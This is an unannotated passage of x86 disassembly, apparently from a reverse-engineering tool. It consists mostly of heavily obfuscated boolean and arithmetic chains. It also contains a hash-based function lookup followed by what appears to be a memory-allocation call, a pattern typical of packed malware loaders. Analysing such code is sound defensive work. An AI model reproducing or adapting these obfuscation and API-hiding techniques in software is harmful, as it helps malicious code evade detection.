mov bh, cl
and bh, 0xff
and ah, ch
or dh, bl
or bh, ah
xor dh, bh
or al, cl
xor al, 0xff
or ch, 1
and al, ch
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and dh, cl
or al, dh
mov cl, byte [ebp - 0x115]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x115]
and cl, al
or ah, cl
xor ah, 0xff
mov al, byte [ebp - 0x115]
xor al, 0xff
mov cl, dl
xor cl, 0
or ah, al
or cl, 0
xor ah, 0xff
and ah, cl
mov al, byte [ebp - 0x101]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, byte [ebp - 0x101]
and ch, cl
or al, ch
mov cl, ah
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov dh, ah
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or cl, dh
or bl, ch
xor cl, bl
mov ch, dl
xor ch, 0
and ch, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 0
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
mov bh, byte [ebp - 0x101]
xor bh, dh
mov dh, byte [ebp - 0x101]
and bh, dh
mov dh, dl
xor dh, 0
mov byte [ebp - 0x116], al
mov al, cl
xor al, dh
and al, cl
xor ah, 0xff
mov dh, ch
xor dh, 0xff
mov byte [ebp - 0x117], al
mov al, dl
xor al, 1
or ah, dh
or al, 1
xor ah, 0xff
and ah, al
mov al, bl
and al, bh
xor bl, bh
or al, bl
mov dh, byte [ebp - 0x117]
xor dh, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x118], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x119], al
mov al, byte [ebp - 0x117]
and al, bh
mov byte [ebp - 0x11a], al
mov al, bl
and al, 0xff
and ah, bh
mov byte [ebp - 0x11b], al
mov al, byte [ebp - 0x119]
mov byte [ebp - 0x11c], cl
mov cl, byte [ebp - 0x11a]
or al, cl
mov cl, byte [ebp - 0x11b]
or cl, ah
xor al, cl
or dh, bl
xor dh, 0xff
or bh, 1
and dh, bh
or al, dh
mov cl, byte [ebp - 0x118]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x118]
and dh, ah
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, ah
or cl, dh
or bl, al
xor cl, bl
mov al, byte [ebp - 0x116]
mov ah, byte [ebp - 0x11c]
and al, ah
mov dh, byte [ebp - 0x116]
xor dh, ah
or al, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
and al, bl
mov bh, dl
xor bh, 1
and bh, 0xff
and bl, 1
or dh, al
or bh, bl
xor dh, bh
mov al, dl
xor al, 0
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov ah, al
and ah, 0
mov byte [ebp - 0x11d], al
mov al, bh
and al, 0
mov byte [ebp - 0x11e], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x11f], al
mov al, byte [ebp - 0x11e]
or ah, al
mov al, byte [ebp - 0x11f]
or al, ch
xor ah, al
mov al, byte [ebp - 0x11d]
or al, bl
xor al, 0xff
or bh, 0
and al, bh
or ah, al
xor ah, 0xff
mov al, dh
xor al, ah
and al, dh
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
xor dl, 0
mov dh, ah
and dh, 0
and cl, dl
mov bl, ch
and bl, 0
and al, dl
or dh, cl
or bl, al
xor dh, bl
or ah, ch
xor ah, 0xff
or dl, 0
and ah, dl
or dh, ah
test dh, 1
mov esi, dword [ebp - 0x80]
mov edi, dword [ebp - 0x88]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x5eb807
push eax
mov eax, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov dword [ebp - 0x20], edx
push eax
mov edx, esp
mov dword [ebp - 0x1c], edx
push eax
mov edx, esp
mov dword [ebp - 0x18], edx
push eax
mov edx, esp
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x128], ecx
call fcn.00551460
mov ecx, 0x9ce0d4a
mov edx, dword [ebp - 0x124]
mov dword [edx], eax
mov eax, dword [edx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x9ce0d4a
mov dword [ebp - 0x12c], ecx
call fcn.00579dd0
add esp, 8
lea ecx, str.aBkxJBF3o5p7vT31tYc3ujE
mov edx, dword [ebp - 0x128]
mov dword [edx], eax
sub esp, 4
mov dword [esp], ecx
call sub.msvcrt.dll__strdup_1
add esp, 4
xor ecx, ecx
mov edx, 0x5e00
mov esi, 0x3000
mov edi, 4
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x5e00
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x130], edi
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x13c], esi
call dword [eax]
mov ecx, 0xf492cde7
mov edx, 0x128be6c1
mov bl, 1
mov esi, 0x144a75c0
xor edi, edi
mov dword [ebp - 0x140], eax
mov eax, 0xff69b815
mov dword [ebp - 0x144], eax
mov eax, 0x3be3130c
mov dword [ebp - 0x148], eax
mov eax, 0xf6456828
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x150], ecx
mov ecx, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
setne bh
and bh, 1
mov byte [ebp - 0xe], bh
mov eax, dword [0x5f90ac]
mov ecx, dword [0x5f90a4]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x14c]
add eax, 0
mov dword [ebp - 0x158], ecx
mov ecx, dword [ebp - 0x154]
sub eax, ecx
sub eax, 0xf6456828
mov ecx, dword [ebp - 0x148]
add ecx, 0
sub ecx, 0xcaae35ff
sub ecx, 0x3be3130c
mov dword [ebp - 0x15c], eax
mov eax, edi
mov dword [ebp - 0x160], ecx
mov ecx, dword [ebp - 0x15c]
sub eax, ecx
mov ecx, edi
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x160]
sub ecx, eax
mov eax, dword [ebp - 0x164]
add eax, ecx
mov ecx, edi
sub ecx, eax
mov eax, dword [ebp - 0x144]
add eax, 0
sub eax, ecx
sub eax, 0xff69b815
add eax, 0xa05d878d
sub eax, 0xd636c899
sub eax, 0xa05d878d
sub edi, 1
add eax, edi
sub eax, 0x970cc1f5
add eax, 0xd636c899
add eax, 0x970cc1f5
add esi, 0
sub esi, 0xcaae35ff
sub esi, 0x144a75c0
add eax, 0x9bd4d4f6
add eax, esi
sub eax, 0x9bd4d4f6
mov ecx, dword [ebp - 0x154]
imul ecx, eax
and ecx, 1
cmp ecx, 0
sete bh
mov eax, dword [ebp - 0x158]
cmp eax, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
mov byte [ebp - 0x165], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, bl
xor al, 1
xor ah, 0xff
mov cl, bl
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 1
and cl, 1
mov ah, bl
xor ah, 1
mov ch, ah
and ch, 1
mov byte [ebp - 0x166], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
xor cl, 0xff
mov al, bh
xor al, cl
and al, bh
mov cl, byte [ebp - 0x166]
and cl, al
mov ah, byte [ebp - 0x166]
xor ah, al
or cl, ah
mov al, byte [ebp - 0x165]
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0x165]
and ch, ah
or al, ch
mov ah, bl
xor ah, 1
xor al, 0xff
mov ch, bl
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x167], al
mov al, byte [ebp - 0x165]
xor al, ch
mov ch, byte [ebp - 0x165]
and al, ch
mov ch, bl
xor ch, 1
and ch, 1
mov byte [ebp - 0x168], al
mov al, bl
xor al, 1
and al, 1
or ch, al
xor ch, 0xff
mov al, bl
xor al, 1
mov byte [ebp - 0x169], al
mov al, bl
xor al, 0
mov byte [ebp - 0x16a], al
mov al, byte [ebp - 0x169]
or ch, al
mov al, byte [ebp - 0x16a]
or al, 0
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x167]
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x16b], al
mov al, ah
mov byte [ebp - 0x16c], cl
mov cl, byte [ebp - 0x168]
and al, cl
xor ah, cl
or al, ah
mov ah, ch
mov cl, byte [ebp - 0x16b]
and ah, cl
xor ch, cl
or ah, ch
mov ch, al
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and al, ah
or cl, al
mov al, bl
xor al, 1
and al, 1
mov ah, bl
xor ah, 1
mov ch, ah
and ch, 1
mov byte [ebp - 0x16d], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x16e], al
mov al, byte [ebp - 0x16d]
or al, ch
mov ch, byte [ebp - 0x16e]
or ch, ah
xor al, ch
mov ah, bl
xor ah, 0
xor al, 0xff
mov ch, bl
xor ch, 1
or ah, al
or ch, 1
xor ah, 0xff
and ah, ch
mov al, bl
xor al, 0
and al, 1
mov ch, bl
xor ch, 1
and ch, 0
or al, ch
mov ch, bl
xor ch, 1
mov byte [ebp - 0x16f], al
xor al, 0xff
mov byte [ebp - 0x170], al
mov al, bl
xor al, 1
mov byte [ebp - 0x171], al
mov al, byte [ebp - 0x170]
or ch, al
mov al, byte [ebp - 0x171]
or al, 1
xor ch, 0xff
and ch, al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x172], al
mov al, bl
xor al, 1
mov byte [ebp - 0x173], al
and al, 1
mov byte [ebp - 0x174], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0x175], al
mov al, byte [ebp - 0x173]
and al, 1
mov byte [ebp - 0x176], al
mov al, byte [ebp - 0x172]
mov byte [ebp - 0x177], cl
mov cl, byte [ebp - 0x174]
or al, cl
mov cl, byte [ebp - 0x175]
mov byte [ebp - 0x178], al
mov al, byte [ebp - 0x176]
or cl, al
mov al, byte [ebp - 0x178]
xor al, cl
xor al, 0xff
mov cl, bl
xor cl, 0
mov byte [ebp - 0x179], al
mov al, bl
xor al, 1
mov byte [ebp - 0x17a], al
mov al, byte [ebp - 0x179]
or al, cl
mov cl, byte [ebp - 0x17a]
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 1
mov byte [ebp - 0x17b], al
mov al, byte [ebp - 0x16f]
xor al, 0xff
mov byte [ebp - 0x17c], al
mov al, bl
xor al, 0
mov byte [ebp - 0x17d], al
mov al, byte [ebp - 0x17c]
or cl, al
mov al, byte [ebp - 0x17d]
or al, 0
xor cl, 0xff
and cl, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x17e], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x17f], al
mov al, bl
xor al, 0
mov byte [ebp - 0x180], al
mov al, byte [ebp - 0x17e]
and al, 0
mov byte [ebp - 0x181], al
mov al, byte [ebp - 0x180]
and ah, al
mov al, byte [ebp - 0x17f]
and al, 0
mov byte [ebp - 0x182], al
mov al, byte [ebp - 0x180]
and ch, al
mov al, byte [ebp - 0x181]
or al, ah
mov ah, byte [ebp - 0x182]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x17e]
mov ch, byte [ebp - 0x17f]
or ah, ch
xor ah, 0xff
mov ch, byte [ebp - 0x180]
or ch, 0
and ah, ch
or al, ah
mov ah, byte [ebp - 0x17b]
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x183], al
mov al, bl
xor al, 0
mov byte [ebp - 0x184], al
mov al, ah
and al, 0
mov byte [ebp - 0x185], al
mov al, byte [ebp - 0x17b]
mov byte [ebp - 0x186], cl
mov cl, byte [ebp - 0x184]
and al, cl
mov cl, ch
and cl, 0
mov byte [ebp - 0x187], al
mov al, byte [ebp - 0x186]
mov byte [ebp - 0x188], cl
mov cl, byte [ebp - 0x184]
and al, cl
mov cl, byte [ebp - 0x185]
mov byte [ebp - 0x189], al
mov al, byte [ebp - 0x187]
or cl, al
mov al, byte [ebp - 0x188]
mov byte [ebp - 0x18a], cl
mov cl, byte [ebp - 0x189]
or al, cl
mov cl, byte [ebp - 0x18a]
xor cl, al
or ah, ch
xor ah, 0xff
mov al, byte [ebp - 0x184]
or al, 0
and ah, al
or cl, ah
mov al, byte [ebp - 0x183]
xor al, 0xff
and al, 0
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0x183]
and ch, ah
mov byte [ebp - 0x18b], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
mov ah, byte [ebp - 0x18b]
or ah, ch
or al, cl
xor ah, al
mov al, bl
xor al, 1
and al, 0
mov cl, bl
xor cl, 0
mov ch, cl
and ch, 1
mov byte [ebp - 0x18c], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x18d], al
mov al, byte [ebp - 0x18c]
or al, ch
mov ch, byte [ebp - 0x18d]
or ch, cl
xor al, ch
mov cl, byte [ebp - 0x16c]
xor cl, 0xff
and cl, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x18e], al
mov al, byte [ebp - 0x16c]
and al, ch
mov byte [ebp - 0x18f], al
mov al, byte [ebp - 0x18e]
xor al, 0xff
and al, 0
mov byte [ebp - 0x190], al
mov al, byte [ebp - 0x18e]
and al, ch
mov ch, byte [ebp - 0x18f]
or cl, ch
mov ch, byte [ebp - 0x190]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x16c]
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, ah
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov byte [ebp - 0x191], al
mov al, ah
and al, cl
mov byte [ebp - 0x192], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x193], al
mov al, byte [ebp - 0x191]
mov byte [ebp - 0x194], cl
mov cl, byte [ebp - 0x192]
or al, cl
mov cl, byte [ebp - 0x193]
mov byte [ebp - 0x195], al
mov al, byte [ebp - 0x194]
or cl, al
mov al, byte [ebp - 0x195]
xor al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x196], al
and al, cl
mov cl, byte [ebp - 0x196]
xor cl, 0xff
mov byte [ebp - 0x197], al
mov al, bh
and al, cl
mov cl, byte [ebp - 0x197]
or cl, al
xor bh, 0xff
mov al, cl
xor al, bh
and al, cl
mov cl, bl
xor cl, 1
and cl, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x198], al
mov al, bh
and al, 1
mov byte [ebp - 0x199], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x19a], al
mov al, byte [ebp - 0x199]
or cl, al
mov al, byte [ebp - 0x19a]
or al, bh
xor cl, al
mov al, byte [ebp - 0x177]
xor al, 0xff
mov bh, cl
and bh, al
xor cl, 0xff
mov al, byte [ebp - 0x177]
and al, cl
or bh, al
xor bh, 0xff
mov al, byte [ebp - 0x177]
xor al, 0xff
mov cl, bl
xor cl, 1
or bh, al
or cl, 1
xor bh, 0xff
and bh, cl
mov al, ah
xor al, 0xff
and al, 0
mov cl, bl
xor cl, 0
mov byte [ebp - 0x19b], al
mov al, ah
and al, cl
mov byte [ebp - 0x19c], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x19d], al
mov al, byte [ebp - 0x19b]
mov byte [ebp - 0x19e], cl
mov cl, byte [ebp - 0x19c]
or al, cl
mov cl, byte [ebp - 0x19d]
mov byte [ebp - 0x19f], al
mov al, byte [ebp - 0x19e]
or cl, al
mov al, byte [ebp - 0x19f]
xor al, cl
mov cl, byte [ebp - 0x165]
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x1a0], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1a1], al
mov al, byte [ebp - 0x165]
mov byte [ebp - 0x1a2], cl
mov cl, byte [ebp - 0x1a1]
and al, cl
mov cl, byte [ebp - 0x1a0]
xor cl, 0xff
and cl, 0xff
mov byte [ebp - 0x1a3], al
mov al, byte [ebp - 0x1a0]
mov byte [ebp - 0x1a4], cl
mov cl, byte [ebp - 0x1a1]
and al, cl
mov cl, byte [ebp - 0x1a2]
mov byte [ebp - 0x1a5], al
mov al, byte [ebp - 0x1a3]
or cl, al
mov al, byte [ebp - 0x1a4]
mov byte [ebp - 0x1a6], cl
mov cl, byte [ebp - 0x1a5]
or al, cl
mov cl, byte [ebp - 0x1a6]
xor cl, al
mov al, byte [ebp - 0x165]
xor al, 0xff
mov byte [ebp - 0x1a7], al
mov al, cl
mov byte [ebp - 0x1a8], cl
mov cl, byte [ebp - 0x1a7]
xor al, cl
mov cl, byte [ebp - 0x1a8]
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x1a9], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1aa], al
mov al, ch
mov byte [ebp - 0x1ab], cl
mov cl, byte [ebp - 0x1aa]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x1ac], al
mov al, byte [ebp - 0x1aa]
and al, 1
mov byte [ebp - 0x1ad], al
mov al, byte [ebp - 0x1ab]
mov byte [ebp - 0x1ae], cl
mov cl, byte [ebp - 0x1ac]
or al, cl
mov cl, byte [ebp - 0x1ae]
mov byte [ebp - 0x1af], al
mov al, byte [ebp - 0x1ad]
or cl, al
mov al, byte [ebp - 0x1af]
xor al, cl
mov cl, byte [ebp - 0x198]
xor cl, 0xff
and cl, 0
mov byte [ebp - 0x1b0], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1b1], al
mov al, byte [ebp - 0x198]
mov byte [ebp - 0x1b2], cl
mov cl, byte [ebp - 0x1b1]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0
mov byte [ebp - 0x1b3], al
mov al, byte [ebp - 0x1b1]
and al, 1
mov byte [ebp - 0x1b4], al
mov al, byte [ebp - 0x1b2]
mov byte [ebp - 0x1b5], cl
mov cl, byte [ebp - 0x1b3]
or al, cl
mov cl, byte [ebp - 0x1b5]
mov byte [ebp - 0x1b6], al
mov al, byte [ebp - 0x1b4]
or cl, al
mov al, byte [ebp - 0x1b6]
xor al, cl
mov cl, bl
xor cl, 0
and cl, 1
mov byte [ebp - 0x1b7], al
mov al, bl
xor al, 1
and al, 0
or cl, al
mov al, bl
xor al, 0
mov byte [ebp - 0x1b8], al
mov al, byte [ebp - 0x1b0]
mov byte [ebp - 0x1b9], cl
mov cl, byte [ebp - 0x1b8]
xor al, cl
mov cl, byte [ebp - 0x1b0]
and al, cl
mov cl, byte [ebp - 0x1b9]
xor cl, 0xff
mov byte [ebp - 0x1ba], al
mov al, ch
xor al, cl
and al, ch
mov cl, bl
xor cl, 0
mov ch, byte [ebp - 0x1b7]
xor ch, cl
mov cl, byte [ebp - 0x1b7]
and ch, cl
mov cl, byte [ebp - 0x198]
xor cl, 0xff
mov byte [ebp - 0x1bb], al
mov al, byte [ebp - 0x1b9]
xor al, 0xff
mov byte [ebp - 0x1bc], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1bd], al
mov al, byte [ebp - 0x1bc]
or cl, al
mov al, byte [ebp - 0x1bd]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x1ba]
xor al, 0xff
mov byte [ebp - 0x1be], al
mov al, byte [ebp - 0x1bb]
xor al, 0xff
mov byte [ebp - 0x1bf], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1c0], al
mov al, byte [ebp - 0x1be]
and al, 0
mov byte [ebp - 0x1c1], al
mov al, byte [ebp - 0x1ba]
mov byte [ebp - 0x1c2], cl
mov cl, byte [ebp - 0x1c0]
and al, cl
mov cl, byte [ebp - 0x1bf]
and cl, 0
mov byte [ebp - 0x1c3], al
mov al, byte [ebp - 0x1bb]
mov byte [ebp - 0x1c4], cl
mov cl, byte [ebp - 0x1c0]
and al, cl
mov cl, byte [ebp - 0x1c1]
mov byte [ebp - 0x1c5], al
mov al, byte [ebp - 0x1c3]
or cl, al
mov al, byte [ebp - 0x1c4]
mov byte [ebp - 0x1c6], cl
mov cl, byte [ebp - 0x1c5]
or al, cl
mov cl, byte [ebp - 0x1c6]
xor cl, al
mov al, byte [ebp - 0x1be]
mov byte [ebp - 0x1c7], cl
mov cl, byte [ebp - 0x1bf]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x1c0]
or cl, 0
and al, cl
mov cl, byte [ebp - 0x1c7]
or cl, al
mov al, ch
mov byte [ebp - 0x1c8], cl
mov cl, byte [ebp - 0x1c2]
and al, cl
xor ch, cl
or al, ch
mov ch, byte [ebp - 0x1c8]
xor ch, 0xff
and ch, 0
mov cl, bl
xor cl, 0
mov byte [ebp - 0x1c9], al
mov al, byte [ebp - 0x1c8]
and al, cl
mov byte [ebp - 0x1ca], al
mov al, byte [ebp - 0x1c9]
xor al, 0xff
and al, 0
mov byte [ebp - 0x1cb], al
mov al, byte [ebp - 0x1c9]
and al, cl
mov cl, byte [ebp - 0x1ca]
or ch, cl
mov cl, byte [ebp - 0x1cb]
or cl, al
xor ch, cl
mov al, byte [ebp - 0x1b0]
xor al, 0xff
mov cl, byte [ebp - 0x1b7]
xor cl, 0xff
mov byte [ebp - 0x1cc], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1cd], al
mov al, byte [ebp - 0x1cc]
and al, 0
mov byte [ebp - 0x1ce], al
mov al, byte [ebp - 0x1b0]
mov byte [ebp - 0x1cf], cl
mov cl, byte [ebp - 0x1cd]
and al, cl
mov cl, byte [ebp - 0x1cf]
and cl, 0
mov byte [ebp - 0x1d0], al
mov al, byte [ebp - 0x1b7]
mov byte [ebp - 0x1d1], cl
mov cl, byte [ebp - 0x1cd]
and al, cl
mov cl, byte [ebp - 0x1ce]
mov byte [ebp - 0x1d2], al
mov al, byte [ebp - 0x1d0]
or cl, al
mov al, byte [ebp - 0x1d1]
mov byte [ebp - 0x1d3], cl
mov cl, byte [ebp - 0x1d2]
or al, cl
mov cl, byte [ebp - 0x1d3]
xor cl, al
mov al, byte [ebp - 0x1cc]
mov byte [ebp - 0x1d4], cl
mov cl, byte [ebp - 0x1cf]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x1cd]
or cl, 0
and al, cl
mov cl, byte [ebp - 0x1d4]
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x1d5], al
mov al, bl
xor al, 1
and cl, al
mov al, byte [ebp - 0x1d5]
or al, cl
mov cl, bl
xor cl, 0
mov byte [ebp - 0x1d6], al
mov al, byte [ebp - 0x1b9]
xor al, 0xff
mov byte [ebp - 0x1d7], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1d8], al
mov al, cl
and al, 0
mov byte [ebp - 0x1d9], al
mov al, byte [ebp - 0x1d8]
and al, 0
mov byte [ebp - 0x1da], al
mov al, byte [ebp - 0x1d7]
and al, 0
mov byte [ebp - 0x1db], al
mov al, byte [ebp - 0x1b9]
mov byte [ebp - 0x1dc], cl
mov cl, byte [ebp - 0x1d8]
and al, cl
mov cl, byte [ebp - 0x1d9]
mov byte [ebp - 0x1dd], al
mov al, byte [ebp - 0x1da]
or cl, al
mov al, byte [ebp - 0x1db]
mov byte [ebp - 0x1de], cl
mov cl, byte [ebp - 0x1dd]
or al, cl
mov cl, byte [ebp - 0x1de]
xor cl, al
mov al, byte [ebp - 0x1dc]
mov byte [ebp - 0x1df], cl
mov cl, byte [ebp - 0x1d7]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x1d8]
or cl, 0
and al, cl
mov cl, byte [ebp - 0x1df]
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x1d6]
xor al, cl
mov cl, byte [ebp - 0x1d6]
and al, cl
mov cl, ch
and cl, al
xor ch, al
or cl, ch
mov al, bh
xor al, 0xff
mov ch, byte [ebp - 0x1a9]
xor ch, 0xff
mov byte [ebp - 0x1e0], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1e1], al
mov al, byte [ebp - 0x1e0]
or al, ch
mov ch, byte [ebp - 0x1e1]
or ch, 0
xor al, 0xff
and al, ch
mov ch, bh
xor ch, 0xff
and ch, 0
mov byte [ebp - 0x1e2], al
mov al, bl
xor al, 0
and bh, al
mov byte [ebp - 0x1e3], al
mov al, byte [ebp - 0x1a9]
xor al, 0xff
and al, 0
mov byte [ebp - 0x1e4], al
mov al, byte [ebp - 0x1a9]
mov byte [ebp - 0x1e5], cl
mov cl, byte [ebp - 0x1e3]
and al, cl
or ch, bh
mov bh, byte [ebp - 0x1e4]
or bh, al
xor ch, bh
mov al, byte [ebp - 0x1e2]
and al, ch
mov bh, byte [ebp - 0x1e2]
xor bh, ch
or al, bh
mov ch, byte [ebp - 0x1e5]
xor ch, 0xff
and ch, 1
mov bh, bl
xor bh, 1
mov cl, byte [ebp - 0x1e5]
and cl, bh
or ch, cl
mov cl, bl
xor cl, 1
xor ch, 0xff
mov bh, bl
xor bh, 1
or cl, ch
or bh, 1
xor cl, 0xff
and cl, bh
mov ch, bl
xor ch, 1
and ch, 1
mov bh, bl
xor bh, 1
and bh, 1
or ch, bh
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x1e6], al
mov al, byte [ebp - 0x1e5]
xor al, bh
mov bh, byte [ebp - 0x1e5]
and al, bh
mov bh, byte [ebp - 0x1e6]
xor bh, 0xff
and bh, 0
mov byte [ebp - 0x1e7], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1e8], al
mov al, byte [ebp - 0x1e6]
mov byte [ebp - 0x1e9], cl
mov cl, byte [ebp - 0x1e8]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0
mov byte [ebp - 0x1ea], al
mov al, byte [ebp - 0x1e8]
and al, 1
mov byte [ebp - 0x1eb], al
mov al, byte [ebp - 0x1ea]
or bh, al
mov al, byte [ebp - 0x1eb]
or cl, al
xor bh, cl
mov al, bl
xor al, 1
mov cl, bh
xor cl, al
and cl, bh
xor ch, 0xff
mov al, byte [ebp - 0x1e6]
xor al, ch
mov ch, byte [ebp - 0x1e6]
and al, ch
mov bh, byte [ebp - 0x1e9]
xor bh, 0xff
mov ch, byte [ebp - 0x1e7]
xor ch, 0xff
mov byte [ebp - 0x1ec], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1ed], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1ee], al
mov al, byte [ebp - 0x1e9]
mov byte [ebp - 0x1ef], cl
mov cl, byte [ebp - 0x1ed]
and al, cl
mov cl, ch
and cl, 0xff
mov byte [ebp - 0x1f0], al
mov al, byte [ebp - 0x1e7]
mov byte [ebp - 0x1f1], cl
mov cl, byte [ebp - 0x1ed]
and al, cl
mov cl, byte [ebp - 0x1ee]
mov byte [ebp - 0x1f2], al
mov al, byte [ebp - 0x1f0]
or cl, al
mov al, byte [ebp - 0x1f1]
mov byte [ebp - 0x1f3], cl
mov cl, byte [ebp - 0x1f2]
or al, cl
mov cl, byte [ebp - 0x1f3]
xor cl, al
or bh, ch
xor bh, 0xff
mov al, byte [ebp - 0x1ed]
or al, 1
and bh, al
or cl, bh
mov al, byte [ebp - 0x1ef]
xor al, 0xff
mov ch, byte [ebp - 0x1ec]
xor ch, 0xff
mov bh, bl
xor bh, 1
mov byte [ebp - 0x1f4], al
and al, 0xff
mov byte [ebp - 0x1f5], al
mov al, byte [ebp - 0x1ef]
and al, bh
mov byte [ebp - 0x1f6], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x1f7], al
mov al, byte [ebp - 0x1ec]
and al, bh
mov byte [ebp - 0x1f8], al
mov al, byte [ebp - 0x1f5]
mov byte [ebp - 0x1f9], cl
mov cl, byte [ebp - 0x1f6]
or al, cl
mov cl, byte [ebp - 0x1f7]
mov byte [ebp - 0x1fa], al
mov al, byte [ebp - 0x1f8]
or cl, al
mov al, byte [ebp - 0x1fa]
xor al, cl
mov cl, byte [ebp - 0x1f4]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x1f9]
xor cl, 0xff
and cl, 0
mov ch, bl
xor ch, 0
mov bh, byte [ebp - 0x1f9]
and bh, ch
mov byte [ebp - 0x1fb], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x1fc], al
mov al, byte [ebp - 0x1fb]
and al, ch
or cl, bh
mov ch, byte [ebp - 0x1fc]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x16c]
xor al, 0xff
mov ch, byte [ebp - 0x177]
xor ch, 0xff
mov bh, bl
xor bh, 1
or al, ch
or bh, 1
xor al, 0xff
and al, bh
mov ch, byte [ebp - 0x16c]
xor ch, 0xff
mov bh, byte [ebp - 0x177]
and bh, ch
mov ch, byte [ebp - 0x177]
xor ch, 0xff
mov byte [ebp - 0x1fd], al
mov al, byte [ebp - 0x16c]
and al, ch
or bh, al
mov al, byte [ebp - 0x1fd]
and al, bh
mov ch, byte [ebp - 0x1fd]
xor ch, bh
or al, ch
mov ch, al
xor ch, 0xff
and ch, 1
